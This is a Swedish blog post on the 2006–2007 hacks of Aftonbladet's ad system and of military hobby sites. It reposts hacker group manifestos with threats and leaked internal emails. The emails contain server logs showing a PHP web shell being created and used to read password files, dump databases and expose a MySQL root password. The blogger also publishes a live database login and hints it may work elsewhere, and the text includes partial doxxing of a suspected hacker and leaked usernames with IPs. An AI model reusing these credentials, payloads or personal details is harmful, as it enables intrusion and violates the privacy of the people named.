Eftersom någon arg kvinna vid namn Katti just spenderade en timme med att skriva kommentarer till allting jag skrivit om Britney Spears och förklarat att jag antagligen är ett flintskallig svin som förtjänar stryk osv osv så tänkte jag passa på att posta ett nytt inlägg och en ny bild på vår kära Britney här.

Britney mår bra. Ta det lugnt. Oroa er inte.

Andra bloggar om: Britney Spears

Efter att Vuxna Förbannade Hackare släppt login och lösenord till samtliga användare till aftonbladets annonssystem så förklarade Oscar “anakin” Edholm att det inte var någon fara eftersom det antagligen var gamla lösenord. Han uttalade sig även så här till dagens media:

Då uppmanade vi annonsörerna att byta sina inloggningsuppgifter.

Det enda problemet var att det var ren lögn.

Nu har nämligen IDG kollat upp det här genom att kontakta ett antal människor som haft konton på aftonbladets annonssajt och ingen av dessa har fått någon information om att dom bör byta lösenord.

Aftonbladet har alltså under ett och ett halvt års tid vetat om att dessa lösenord läckt från deras system utan att göra någonting åt saken. Detta är så illa att det är svårt att veta vad man ska skriva nästan.

Idag önskar han att tidningen dels raderat alla röjda konton och tvingat användarna att välja nya användarnamn och lösenord. Dels att tidningen gått ut till alla berörda och berättat vad som hänt.

Det känns som om det är lite för sent att sitta och önska saker nu. Jag uppmanar alla er som fått era lösenord spridda på nätet att polisanmäla aftonbladet och det så snabbt som möjligt.

Andra bloggar om: Vuxna förbannade hackare, Aftonbladet, datorsäkerhet

En hackergrupp som kallar sig EiE har släppt följande information på flashback:

kära Flashbackare, civilpoliser och journalister,

stenen sattes i rullning av de Vuxna Förbannade Hackarna. först tog man sig in på TV3s hemsida, genom en publik exploit (?) i deras CMS. sedan utnyttjade man tillgången till Aftonbladet, som man haft sedan 2006. i VFHs agenda kan man läsa att detta är en början på ett rekordår av dessa attacker. Sverige fruktade turkarna, när det enda de hade att komma med var defaces. allah akbar.

enligt en källa blandades SÄPO in i attacken mot Aftonbladet. så vi tänkte vara lite bussiga mot VFH genom att hälla vatten på den svaga elden som just nu brinner i investigeringslokalerna.

medan Svensson spöade frugan, medan polisen jagade fildelare och hackare istället för riktiga kriminella och medan storebror övervakade samhället slog EiE till mot svensk militär. det måste väl svida rätt hårt, med tanke på USB-minnesskandalen häromdagen. vad cliché det känns att gå ut med liknande info som VFH. men ja, även vi kontrollerar ganska mycket här på Internet. det är rätt najzzzz. men oroa er inte, vi är ganska snälla.

det sägs alltid så smarta saker när så här stora saker inträffar. EiE är inte så bra på detta, så… ehh… legalisera knark! knark är bra. att knark gör en dummare är inte sant. titta bara vad vi i EiE lyckas åstadkomma under påverkan av knark!

förövrigt har vi absolut ingen koppling till VHS eller vad de nu kallar sig. vi vet inte ens vilka de är, vi tänkte bara haka på och hjälpa dem med att göra detta till ett år av rekordmånga attacker. “Sverige har inga bra hackers”, sade man när vi “anfölls” av Turkiet över en rondellhund…

dessutom uppmanar vi till revolution. en digital sådan. information är rätt bra. VHS målade upp sig som väldigt destruktiva. sådant vill inte vi syssla med dock. för att det skall finnas evolution måste det råda kaos. välkomna till det digitala kaoset - och välkomna revolutionen. det skrevs så mycket idiotiskt efter attacken mot Aftonbladet. hot mot yttrandefriheten hit och dit. tro mig att vi på EiE skulle kunna åstadkomma mer än att hota någon sorts ilussion av yttrandefrihet som råder i sverige. däremot avstår vi, för att vi är så snälla. vi förväntar dock att vi blir stämplade som

ett hot mot Sveriges säkerhet. annars blir vi besvikna och måste slå till en gång till, fast mycket hårdare. he he.. he. he he… he. stämplar är najzzzzzz. stämplar tycker vi om.

FÖRRESTEN! jag höll nästan på att glömma! EiE står för “Epeen is Everything” och uttalas “eye”. Men säg “Epeen is Everything” i media. det låter mycket roligare, och vi har inte alltid knark men vi tycker om att fnissa. det är najzzzzz.

Tack för att ni läste, förlåt för att det blev lite lulligt här och där. Ha en oerhört trevlig fortsatt dag och hoppas att vi förgyllar dagen för de flesta av er på samma gång. VHF får gärna höra av sig, exempelvis kan vi ju småprata med varandra genom defaces om ni vill leka Om vi någonsin träffas kan det bjudas på holk och rumpknull.

Puss.

(Hasharna kördes mot våra regnbågar. De vi knäckte på första försöket finns knäckta, resten finns hashade. Hade vi haft ork hade vi bjudit på samma mängd som VFH - lovar. md5 utan salt btw.)

LÖSENORD RADERADE

Sen har vi massor av sånt här också:

90.224.178.199 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Peder Hansson
90.224.178.199 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Peder Hansson
81.232.100.238 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Arne Ivarsson
81.232.100.238 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Arne Ivarsson
84.216.53.188 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Anders Birath
84.216.53.188 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Anders Birath
90.224.178.199 Användare försökte logga in med okänt användarnamn ::: Användarnamn: Peder Hansson
84.217.59.187 Användare försökte logga in med okänt användarnamn ::: Användarnamn: wallle

Men det skippar vi, för allas bästa. Vi ville bara bevisa att vi faktiskt har tillgång, det kommer nämligen förnekas så mycket det bara går (eftersom de inte kommer kunna hitta spår).

Tack till:
www.sverof.se
www.fallskarmsjagarna.org
www.kustjagarna.se
portal.militartolkar.org
fyrklovern.ath.cx
AnnaW för att vi lånade hennes konto utan hennes vetskap

Ännu en grupp utan någon egentlig agenda? Kollar vi på sverof.org hittar vi dessutom följande:

Du som är medlem i SVEROF har fått inloggningsuppgifter tryckta på adressetiketten på nummer 1-06 av tidningen Reservofficeren. Om inloggningen inte fungerar, så titta under Frågor och svar till vänster, kontakta annars -email-. Tänk på att användarnamnet är i VERSALER och lösenordet i gemener - det är svårt att uttyda från adressetiketterna.

Uppdaterar mer senare, som vanligt.

Uppdatering: Kör väl första uppdateringen direkt. Att det här skulle vara ett hack av “militären” är antagligen den största överdriften någonsin. Det gäller alltså lösenord som skickats ut synligt till folk på posten till en hobby-sida för militären. Samtliga sidor ligger dessutom på samma box verkar det som?

Detta tillsammans med att det uppenbarligen inte finns någon annan agenda än att, precis som VFH, få uppmärksamhet gör att det här känns så där lagom imponerande. Blah.

Uppdatering 2: Okej, skrev det här en gång tidigare men det sket sig så testar igen. EiE har nu besvarat kritiken med följande:

Jag vet inte varför jag försvarar det, men…

Ingen information har plockats direkt från sidorna som den gäller för. Det har alltså inte skett något intrång i sidorna länkade under “tack till”. Iallafall inte av oss. Jag visste inte ens om att alla ägdes av samma ägare samt låg på samma mjukvara.

Bevisningen blir svår iom att informationen plockats från andra servrar (definitivt högre i samhällshireakin). Bevis? Nej, inte i dagsläget. Kanske senare. Tro på det om ni vill, men av just anledningen att vi inte tagit oss in i dessa servrar kan det heller inte ledas till oss med informationen vi gett i dagsläget.

Se det som försiktighet. Visst låter det kaxigt, men den som lever för alltid får se om vi åker fast. Anledningen till att vi la upp det så slarvigt var för att intrånget gjordes idag. Det kan ni få leva med, tycker jag.

Sista inlägget som berör detta. Ta hand om er.

Uppdatering 3: Det var tydligen inte det sista inlägget från EiE. Här följer det mer:

SQL injection? hål i PHP? fel fel fel fel fel… vi har inte rört någon CMS, tror inte ens alla av oss har varit inne på de berörda sidorna om jag ska vara helt ärlig med dig.

bara för att det är så kort efter nyår och jag fortfarande är på bra humör kan jag visa troskanten. tänk större. tänk Stockholm. tänk lite större. sluta tänk och notera istället smakprovet jag bjuder på.

blommenbergsskolan:x:503:503:Blommensbergsskolan:/home/blommenbergsskolan:/bin/bash
levis:x:528:527:Levi’s Norden:/home/levis:/bin/bash
miljo:x:529:528:Miljöförvaltningen Stockholms stad:/home/miljo:/bin/bash
di:x:534:533:Dramatiska Institutet:/home/di:/bin/bash

puss! vi älskar dig också, framförallt dina nervärderande spekulationer <3

Dom har tydligen betydligt mer information än vad dom läckte nu. Hur intressant det nu kan vara med inloggningsuppgifter för Blommensbergsskolan?

Andra bloggar om: Datorsäkerhet, Vuxna förbannade hackare, EiE, Aftonbladet

Okej. VFH är tillbaka med ett nytt inlägg på flashback. Ett inlägg fullt med intern e-post från aftonbladet:

From: Ian Vännman ian.vannman@aftonbladet.se
Sender: “lg teknik” lg.teknik@aftonbladet.se
Subject: Re: [lg.teknik] transfer3 uppdatering…
Date: Wed, 21 Jun 2006 20:35:20 +0200
To: * “lg teknik” lg.teknik@aftonbladet.se

21 jun 2006 kl. 18.55 skrev Ian Vännman:

Hej!

Vi har nu rett ut hur intrånget gick till. Svagheterna i vår konfiguration var flera som ni kommer att se i beskrivningen:

Hackarna nyttjade inloggningsfunktionen på annonsmottagningstjänsten. Så här ser php-koden ut:

Om man inte väljer att köra addslashes på $user och
$password så måste man välja att slå på “magic quotes” i
php-konfigurationen. Om “magic quotes” är på så körs addslashes
funktionen på alla variabler som skickas in från formulär. Problemet
var att magic quotes inte var påslaget. Vi kan lägga ett stort ansvar
för den missen på Infomaker då vi tidigare fått rekommendationen att
slå av “magic quotes” av Dan Berghult på Infomaker när en funktion i
tjänsten inte fungerade som den skulle. Jag har kvar det mailet som han
skickade 17 maj i år. Förmildrande för Infomaker är att Anders Bjarby
hos dem, som utvecklat tjänsten, har arbetat mycket med oss för att
hitta intrångsvägen och även spårat upp en av de som sannolikt
genomförde intrånget. Jag lämnar det till Oscar att besluta om vi ska
polisanmäla hackarna, samt om vi ska föra en diskussion med Infomaker
om kompensation.

En annan svaghet som möjliggjorde intrånget var att användaren som
anslöt till mysql från annonstjänstens php-kod hade fulla rättigheter i
mysql och kunde därför skapa mysql-tabellen och dumpa ut den i en fil.

….

21 jun 2006 kl. 09.48 skrev Anders Bjarby:
Hej allihopa,

jag har lekt lite detektiv med de loggar som jag har fått ta del av och tolkar dom så här:
Initialt så var det ett par svenska killar som gav sig in på att testa lite out
of the box hackerlösningar på aftonbladet och lyckades med en sql
injection och skapade cmd2.php (på samma sätt och med samma filnamn som
jag hittade i ett kinesiskt forum). Dessa svenska killar spred sedan
uppgifterna på något slags forum eller via en irc-kanal vilket
resulterade i att ganska snart började det dyka upp såväl amerikanska,
kinesiska som tyska ip-nummer i loggen som alal anropar filen. Eftersom
det är en out of the box lösning och dom har använt sig avsamma filnamn
som i exemplet så får det mig att tro att dom är inga experter, deras
kommandon som dom sedan har skickat in är också ganska sporadiska. Vi
har lyckats identifiera två tidiga ip-nummer från logutdraget nedan:
84.55.93.136 och 213.113.27.69. Båda förekommer tidigt i det utdraget
och båda går till två svenska internetlevrantörer:

84.55.93.136 84-55-93-136.rev.sth.ownit.se
213.113.27.69 c-451b71d5.026-20-6b6c6d11.cust.bredbandsbolaget.se

Det sistnämnda ipnummret visade sig innehålla en webbsida, “orelevant”. En
googing på det visade att det dessutom fanns en registrerad domän på
den orelevant. Nic-se gav mig ett namn på innehavaren av den adressen:
“Andreas Rosander”. en googling på “orelevant” gav mig ett
antal träffar i olika linux, kernel och hackerforum samt ett
födelsedatum “orelevant” http://kerneltrap.org/user/orelevant och en epsotadress aftonbladetsucks@aftonbladet.se.
Birthday.se gav mig en ort(orelevant) på en Andreas Rosander född XXXX. Hitta.se gav mig en adress:
Andreas Rosander Tfn/fax: XXXX-XXXXXXX (Delas med (det är aftonbladet vi vill åt) Adress Orelevant. XX X XXXXX XXXXX
Eftersom Andreas verkar vara aktiv i olika linux, kernel, exploit forum så
tycker jag att det tyder på att han förmodligen inte har blivit hackad
själv utan tvärtom har ett litet intresse av den här typen av
aktiviteter och han förmodligen fått ta del av den här lösningen i
något forum (förmodligen en gansk aktiv kanal) och att han har testat
lite. Mitt förslag är att någon på aftonbladet juridiskt kunnig person
kontaktar Andreas, får hans knäna atts kaka och
tänder att skallra samt ber honom om information om var har har fått
tillgång till den här informationen och på vilket sätt han har nyttjat
den samt om han känner till om och hur och när andra har utnyttjat den.
På så sätt bör vi (om vi vill) kunna rotadjupare i det här ärendert och
kanske kunna komma åt själva källan. Men innan
vi gör något sådant ger jag er rådet att slå på magic_quotes i er
php.ini så att inga upprörda hackare får för sig att göra någonting värre

[* Allt jävla kinaprat och skit om att vi lagt upp information på nått tattarforum säger
ju en del om hur lite insikt de har. Döm själva. *]

20 jun 2006 kl. 16.00 skrev Ian Vännman:

Efter att vi plockade bort h4x.php filen så lyckades hackaren skapa den på nytt. Access-loggen visade ingenting:

209.242.5.54 - - [18/Jun/2006:21:07:45 +0200] “GET /h4x.php HTTP/1.1″ 404 291
209.242.5.54 - - [18/Jun/2006:21:08:17 +0200] “POST /index.php HTTP/1.1″ 200 212
209.242.5.54 - - [18/Jun/2006:21:10:25 +0200] “POST /index.php HTTP/1.1″ 200 78
209.242.5.54 - - [18/Jun/2006:21:10:57 +0200] “GET /h4x.php?cmd=id HTTP/1.1″ 200 101

21:07:45 fanns filen inte. 21:10:57 så var den på plats. Error loggen däremot:
[Sun Jun 18 21:07:45 2006] [error] [client 209.242.5.54] File does not exist: /Library/WebServer/Documents/annons/h4x.php
[Sun Jun 18 21:08:17 2006] [error] PHP Notice: Undefined variable: version in /Library/WebServer/Documents/annons/includes/prefs.php on line 2
[Sun Jun 18 21:08:17 2006] [error] PHP Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /Library/WebServer/Documents/annons/includes/functions.php on line 759
[Sun Jun 18 21:10:25 2006] [error] PHP Notice: Undefined variable: version in /Library/WebServer/Documents/annons/includes/prefs.php on line 2

21:07:45 fanns inte filen där. 21:08:17 så körs följande PHP kod som avslutas med en PHP-varning:
function doLogin($user,$password){ $query = “SELECT * FROM user WHERE userName=’$user’ AND password=’$password’”; $result = mysql_query($query) OR DIE(mysql_error()); $rows = mysql_NumRows($result); if($rows!=0){

Jag gissar att hackaren utnyttjar någon form av SQL injection svaghet i
variablerna user och/eller password som får antingen PHP eller MySQL
att urarta på ett sånt sätt att filen h4x.php skrivs till disk. Det
känns mer troligt att det är PHP, då filen skapas i PHPs rootmapp.

Den här texten känns mycket relevant:

http://www.sitepoint.com/article/php-security-blunders/2

Intressant är att den rekommenderade lösningen, att slå på magic quotes
rekommenderade Dan oss att slå av när Erika ville byta en språkvariabel.

/Ian

Fuck it. Eftersom det här ligger framme för alla att läsa räknar jag det nu som något alla bör ha tillgång till och postar även resten här.

Från: Anders Bjarby anders@infomaker.se
Datum: tisdag 20 jun 2006 11.31.01 GMT+02:00
Till: Alexander Green alexander.green@aftonbladet.se
Kopia: Erika Lindmark erika.lindmark@aftonbladet.se, Dan Berghult infomaker.se, Andy Olsson andy@infomaker.se
Ämne: Re: h4x

Hej,

nu har jag tittat lite på loggarna och googlat lite. Det visade sig att
nyckeln ligger i cmd2.php som är inkörsporten. cmd2.php verkar kunna
komma in på en del olika sätt ett är att en bugg i xml-rpc gör att om
man kör en eval() på vissa typer av xml kan gör att man kan skapa
php-filer på servern. Ett exempel är t.ex om man kör CMS-systemet
Drupal (http://secunia.com/advisories/15852/). Vad kör ni mer på servern än annonsmottagningen?
Ett annat sätt att skapa filen verkar vara genom att med hjälp av en sql-injection:

1. skapa en ny tabell i mysql
2. peta in php-kod i den nya mysql-tabellen
3. göra en mysql-selection till en extern fil (ny har vi en php-fil som går att köra)
4. gör en drop på tabellen så att spåren försvinner i mysql.

Jag hittade en liten instruktion på hur man gör det på en chinesisk site: http://www.cnxhacker.com/Article/show/378.html

Det här kan man lösa genom att dels verifiera att ingen php åker in i mysql
och att den användare sqom websysteme använder inte får dumpa data till
fil och inte får skapa nya tabeller. Att enbart se över mysqlanvändsarens rättigheter är en snabb fix.

/Anders

20 jun 2006 kl. 10.57 skrev Alexander Green:

transfer3:/Library/WebServer/Documents/annons root# cat /var/log/httpd/access_log | grep h4x
…
66.63.162.152 - - [18/Jun/2006:02:40:09 +0200] “GET /annons/cmd2.php?cmd=echo%20%22%3Cpre%3E%3C?%20system($_GE T[’cmd’]);%20?%3E%3C/pre%3E%22%3Eh4x.php HTTP/1.1″ 200 52
66.63.162.152 - - [18/Jun/2006:02:40:23 +0200] “GET /annons/h4x.php?cmd=id HTTP/1.1″ 200 5
66.63.162.152 - - [18/Jun/2006:02:41:14 +0200] “GET /annons/cmd2.php?cmd=rm%20h4x.php HTTP/1.1″ 200 52
66.63.162.152 - - [18/Jun/2006:02:46:48 +0200] “GET /annons/cmd2.php?cmd=echo%20%22%3Cpre%3E%3C%3F%20system(\\ $_GET[’cmd’]);%3F%3E%3C/pre%3E%22%3Eh4x.php HTTP/1.1″ 200 52
66.63.162.152 - - [18/Jun/2006:02:47:52 +0200] “GET /annons/h4x.php?cmd=rm%20cmd.php HTTP/1.1″ 200 24
66.63.162.152 - - [18/Jun/2006:02:47:59 +0200] “GET /annons/h4x.php?cmd=rm%20cmd2.php HTTP/1.1″ 200 24
85.10.240.250 - - [18/Jun/2006:03:08:50 +0200] “GET /annons/h4x.php?cmd=cat%20/private/etc/afpovertcp.cfg HTTP/1.1″ 200 539
85.10.240.250 - - [18/Jun/2006:03:09:10 +0200] “GET /annons/h4x.php?cmd=cat%20/etc/authorization HTTP/1.1″ 200 17509
85.10.240.250 - - [18/Jun/2006:03:11:12 +0200] “GET /annons/h4x.php?cmd=cat%20/private/etc/ftpusers HTTP/1.1″ 200 143
72.21.33.202 - - [18/Jun/2006:03:22:10 +0200] “GET /annons/h4x.php?cmd=ls%20/Network/Servers HTTP/1.1″ 200 49
72.21.33.202 - - [18/Jun/2006:03:22:34 +0200] “GET /annons/h4x.php?cmd=ls%20/Network/Servers/transfer3.aftonbladet.se/ HTTP/1.1″ 200 175
88.191.22.62 - - [18/Jun/2006:03:30:30 +0200] “GET /annons/h4x.php?cmd=ls%20/Users/admin/Sites HTTP/1.1″ 200 42
149.9.0.25 - - [18/Jun/2006:03:41:12 +0200] “GET /annons/h4x.php?cmd=ls%20-al%20../inpoc/admin HTTP/1.1″ 200 255
149.9.0.25 - - [18/Jun/2006:03:41:50 +0200] “GET /annons/h4x.php?cmd=cat%20../inpoc/admin/properties.txt HTTP/1.1″ 200 25
199.77.130.14 - - [18/Jun/2006:03:45:00 +0200] “GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/admin/index.php HTTP/1.1″ 200 1887
199.77.130.14 - - [18/Jun/2006:03:46:09 +0200] “GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/.htpasswd HTTP/1.1″ 200 44
88.191.12.200 - - [18/Jun/2006:03:47:51 +0200] “GET /annons/h4x.php?cmd=strings%20/private/etc/pure-ftpd/pureftpd.passwd HTTP/1.1″ 200 7639
193.219.28.245 - - [18/Jun/2006:03:52:18 +0200] “GET /annons/h4x.php?cmd=ls%20-la%20/Library/FTPServer/VirtualUsers/aftonbladet/ HTTP/1.1″ 200 207
193.219.28.245 - - [18/Jun/2006:03:53:01 +0200] “GET /annons/h4x.php?cmd=ls%20-la%20/Library/FTPServer/VirtualUsers/sport HTTP/1.1″ 200 279
….
transfer3:/Library/WebServer/Documents/annons root#
- ——————————————

Anders Bjarby

Infomaker Scandinavia AB

Box 347, SE-391 23 Kalmar, Sweden

Tel +46 480 36 20 05, Fax +46 480 887 25

anders@infomaker.se, www.infomaker.se

—

[* Vart fan får han xml-rpc idéerna ifrån? Senaste dödsbuggen på bugtraq eller vad? *]

Från: Anders Bjarby anders@infomaker.se
Datum: tisdag 20 jun 2006 19.46.27 GMT+02:00
Till: Ian Vännman ian.vannman@aftonbladet.se
Kopia: För många.

Japp,
om man har slagit av magic_quotes så har man ett säkerhetshål som
tillåter sql-injections. Slå omedelbart på den igen. Verifiera också
att den mysql-användare som körs via scriptet includes/dbConnect.php
inte får skapa tabeller, inte får skriva till fil.

Mvh Anders

—

From: Ian Vännman ian.vannman@aftonbladet.se
Sender: “* lg teknik” lg.teknik@aftonbladet.se
Subject: Re: [lg.teknik] SV: [lg.teknik] Fwd: [nattrapport] Dagrapport Tisdag den 20 Juni
Date: Thu, 22 Jun 2006 02:11:47 +0200
To: “* lg teknik” lg.teknik@aftonbladet.se

Följande tjänster är tillgängliga på yttre:

aftonbladet.se - länk till sajten.
anslagstavlan - internt köp och sälj.
bandbredd - direkt länk till IP-only, bör den ens finnas där?
blanketter - ladda hem blanketter.
boka - boka rum osv.
chatparade - antalet samtida chattare, fel lösen?
enkäten - internt enkät verkyg, vet ej om det används?
exchangemail - nerlagd tjänst.
hitparade - antalet besökare till aftonbladet, nerlagd 2005?
julklapp - tjänst där man väljer storlek på väst som man fick i år.
kalender_admin - adventkalender på galento-admin
kartor - länk till hitta.se
klicktoppen - fungerade länk till mest besökta länkarna på
aftonbladet.se, bör knappast finnas på yttre, då man lätt bokmärker
detta på hemdatorn, extremt känslig information!
landguiden - länk till landguiden.se
linkorama - död bokmärkeskatalog på galento
lämna bild - länk till tjänst på transfer3
lämna ljud - länk till http://kodar.aftonbladet.se/ som inte svarar, död?
lämna text - länk till tjänst på transfer3
mera rätt - länk till tjänsten mera rätt.
modempooler - länk till statisk sida om våra modempooler
motionera mera - länk till nerlagd projekttjänst
pepc - någon form av lämningstjänst för världsupplagan
pit - Samlingssida för www.aftonbladet.se övervakningssidor, funkar ej?
publicera på galento - kan man göra det från yttre?
resa - länk till www.ark.se
Rixlex - länk till http://www.riksdagen.se/debatt/
räckvidd - tjänst för att se ab och konkurrenters räckvidd, död?
shibsted aktiekurs - skönt felstavad tjänst som tur är nerlagd, med två användare?
stega på - nerlagd projekttjänst
Sverigekartan - länk till http://www.sna.se/webbatlas/700/, tjänsten suger jämfört med hitta.se
telegram - vår interna telegramtjänst
Tholin - länk med inloggning till tholin, enda användarna är ulla lundberg och fisken, död?
Upplysningscentralen - länk till http://www.uc.se/?
webbmail (säker) - länk till https://mail.aftonbladet.se
www statistik - samlingssida för aftonbladet.se statistik innehåller
länkar inklusive inloggning till extern extremt känslig information,
återigen kan bokmärkas på hemdatorer!

Några tjänster bör nog ryckas omedelbart pga de känsliga länkarna som
kan bokmärkas på datorer som vi inte äger. Andra kan nog strykas då de
är nerlagda.

Sista månaden har följande klickats på yttregalento:
webbmail (säker) - 1994 (bara en länk till mail.aftonbladet.se…)
meraratt - 450
lämna text - 393 (fast man kan göra samma sak direkt i scoop)
aftonbladet.se - 317
telegram - 211
motionera mera - 140 (trots att tjänsten är nerlagd?)
anslagstavlan - 69
lämna bild - 32
resa - 28
www statistik - 20
blanketter - 19
modempooler - 6

/Ian

21 jun 2006 kl. 12.37 skrev Anders Bjarby:

En till oroväckande tanke. eftersom mysqldumpen är på vift så innebär det
också att alla era kunder inlogg med tillhörande lösenord är på vift.
Det enda rimliga är att man automatgenererar nya lösenord och mailar ut
dessa till era kunder med automatik.

Mvh Anders

—

21 jun 2006 kl. 12.15 skrev Anders Bjarby:

Jag får en känsla av att filen hx4.php finns på flera ställen anrop sker ju
till både /annons/h4x.php och /h4x.php har ni sökt och rensat
ordentligt? det vorde också spännande att få ta sig en titt på exakt
vad dom innehåller. (både h4x.php och cmd2.php)

/Anders

–

21 jun 2006 kl. 11.56 skrev Anders Bjarby:

Nu har jag läst loggarna och det är ingen rolig läsning. Det har rört sig
om ganska mycket aktivitet och den del är direkt farlig och öppnar nya
hål:

här sker angreppet:
217.160.135.169 - - [18/Jun/2006:02:05:25 +0200] “POST /index.php HTTP/1.1″ 200 212

här skapas filen på nytt:
209.242.5.54 - - [18/Jun/2006:21:10:25 +0200] “POST /index.php HTTP/1.1″ 200 78

rootlösen för mysql på avvägar:
84.19.182.23 - - [18/Jun/2006:21:25:18 +0200] “GET /h4x.php?cmd=mysqlshow%20–user%20root%20–password=8ull3r6yn HTTP/1.1″ 200 62

alla databaser dumpade till fil:
195.169.149.213 - - [18/Jun/2006:21:28:02 +0200] “GET /h4x.php?cmd=mysqldump%20–all-databases%20–user%20root%20-p%208ull3r6yn%20%3E%20/tmp/.e HTTP/1.1″ 200 62
misslyckades med dump raderar och läser mysql–help
195.169.149.213 - - [18/Jun/2006:21:28:25 +0200] “GET /h4x.php?cmd=cat%20/tmp/.e HTTP/1.1″ 200 62
195.169.149.213 - - [18/Jun/2006:21:28:39 +0200] “GET /h4x.php?cmd=rm%20-f%20/tmp/.e HTTP/1.1″ 200 62
195.169.149.213 - - [18/Jun/2006:21:28:49 +0200] “GET /h4x.php?cmd=mysqldump%20–help HTTP/1.1″ 200 62

lyckades med mysqldump:
195.169.149.213 - - [18/Jun/2006:21:33:42 +0200] “GET /h4x.php?cmd=/usr/local/mysql/bin/mysqldump%20–all-databases%20–user=root%20–password=8ull3r6yn%20%3E/tmp/.e HTTP/1.1″ 200 62
195.169.149.213 - - [18/Jun/2006:21:36:35 +0200] “GET /h4x.php?cmd=cat%20/tmp/.e HTTP/1.1″ 200 3902808

Hämtar hem lösenordsfil för apache htaccess
199.77.130.14 - - [18/Jun/2006:03:46:09 +0200] “GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/.htpasswd HTTP/1.1″ 200 44
plockar hem lösenordsfil för purftpd:
88.191.12.200 - - [18/Jun/2006:03:47:51 +0200] “GET /annons/h4x.php?cmd=strings%20/private/etc/pure-ftpd/pureftpd.passwd

rotar i appleshare:
88.191.12.200 - - [18/Jun/2006:03:53:20 +0200] “GET /annons/h4x.php?cmd=ls%20-la%20/Library/Filesystems/AppleShare/Authentication HTTP/1.1″ 200 127

mystiskt anrop: 213.92.92.22 - - [18/Jun/2006:03:53:24 +0200] “GET /w00tw00t.at.ISC.SANS.DFind HTTP/1.1″ 400 416

systemets lösenordsfil hämtas hem (förhoppningsvis är den shadowad):
84.55.93.136 - - [18/Jun/2006:10:07:27 +0200] “GET /annons/h4x.php?cmd=cat%20/etc/passwd HTTP/1.1″ 200 1885

Alltså:
- - rootlösen för mysql är på vift tillsammans med all data som fanns lagrad i mysql. Byt lösenord.
- - lösenordet för afp kan vara hackat
- - man har med stor sannolikhet bruteforcecrackat lösenorden till htaccess, pureftpd och även systemlösenord (om nu inte den filen var shadowad).

Alltså byt alla lösenord nu. När ni har gjort det se till att byta till det nya mysqllösenordet i filen includes/dbConnect.php

/Anders

Sedan bjuder VFH dessutom på login och lösenord till Aftonbladets annonssystem. Dessa tänker jag dock inte posta här men dom finns att läsa på flashbacks forum.

Lite kort om Infomaker/xlibris:
“XLibris Publisher är ett webbpubliceringssystem som troligen är det mest använda på tidningar i Sverige. Systemet är uppbyggt kring en kraftfull mediadatabas för texter, bilder, filer, länkar m m. Tillsammans med databasen byggs ett mallsystem för din webb upp. Mallarna kan liknas vid sidmallar för vanlig tidningsproduktion kompletterade med intelligens.”

Här har ni Infomakers lösenord (som kanske fungerar på annat håll, vem vet :

$db = mysql_pconnect(”localhost”,”xlibris”,”xRpm2000″);

Ni har några års loggar att gå igenom, hoppas ni får det skoj!

“Nu har jag läst loggarna och det är ingen rolig läsning.”
MOAUHGAUHHHAHAHA

Allt prat om att vi tog oss in via er internsida är bara skit. Det var där vi dumpade de
hashade lösenorden därför att den efterblivna algoritm som används där har sårbarheter.
Idioter.

Tills vidare. Aftonbladet: Ert mörkläggande av det här är fan pinsamt. Vi begär
att ni inom kort går ut med en vräkartikel på er hemsida och i er superfina
tidning där ni själva erkänner att det är NI som varit ignoranta och helt jävla
CHOCKDUMMA. Kan ni skriva om Kikki & Co och hur fel de beter sig, helt utan
empati, så nog fan är det dags att ni själva inser vad ni lyckats med. Ansvaret
ligger hos er. Hur fan kan ni vara så taffliga när det kommer till att hantera
denna typ av information?

Gå ut med sanningen nu eller så börjar vi publicera andra saker - som ni redan vet
så har vi tappat alla våra spärrar för moral för länge sedan, jävlas inte..

En kort notis:
Vi har ingen som helst koppling till AUH. Likheten av namnval valde vi utav
respekt för vad de står för och lyckats med. Vi hoppas att aktioner likt denna
gör att fler folk blir inspirerade till att hacka, så som vi blivit av AUH.

Och det kan även nämnas att:
En samling förbannade hackare som lyckats filura ut hur man kontaktar oss har
anslutit sig till VFH och kommer att hjälpa till med framtida uppdrag. Om du/ni
känner er manade samt besitter höga kunskaper inom datorer och jävulskap hoppas
vi mer än gärna att ni ansluter er till oss.

Mvh. Vuxna Förbannade Hackare

Som om detta inte vore nog så postade en person information gällande och root-lösenord till Ian Vännmans egen domän “vannman.com” på nätet. Den ligger nu nere.

Jobbig helg på jobbet, Ian?

Uppdatering: Dagens Media har skrivit en artikel gällande det hela. Aftonbladet kör på samma spår som tidigare och låtsas som om det inte är något speciellt som hänt:

- De påstår det på Flashback. Det är ingen större fara. I värsta fall kan någon obehörig gå in och lämna annonsmaterial. Men risken att inte Aftonbladet skulle upptäcka det är minimal.

Uppdatering 2: Nu har även IDG skrivit en artikel. Inte mycket att säga förutom att dom är skeptiska till att lösenorden faktiskt fungerar eftersom det inte dykt upp några skärmdumpar eller liknande:

Vid förra publiceringen var det ett flertal användare på forumet Flashback som testade inloggningsuppgifterna och publicerade skärmdumpar. Så har inte skett den här gången, varför lösenordens äkthet inte har verifierats. Om de stämmer är dock risken stor att flera använder lösenorden också på andra sajter och inloggningssystem, vilket i så fall genast bör ändras.

Så vad är detta då, IDG?

Uppdatering 3: IDG har ändrat sig. Skriver nu istället:

En skärmdump som postats verifierar detta.

Uppdatering 4: IDG har skrivit en till artikel om det som har hänt. Denna gången har dom en intervju med mr. Förnamn-som-lösenord himself, Olof Brundin, gällande det hela:

Hur ser ni på hotet som hackarna riktat mot er?
- Det har varit ganska lätt att konstatera att uppmärksamhet i form av din artikel och andras som de är ute efter. Det är klart att Aftonbladet inte kommer att ge efter för någon form av utpressning. Först gör vi vår utredning, sen får polisen göra sin och så får vi se vart det leder, säger Olof Brundin, informationsdirektör på Aftonbladet.

Någon kommentar till att många av era annnonskunders lösenord blivit publicerade?
- Vi ser på det på samma sätt som tidigare händelse. Detat är ett inbrott och och Flashback väljer att ge plats för det här och det är som det är. Vi kan inte göra annat än att fullfölja den utredning som vi startat, säger Olof Brundin.

Kommer ni att informera alla vars lösenord nu är på drift?
- Naturligtvis kommer alla de företag eller personer som berörs av det här inbrottet kommer att informeras på olika sätt.

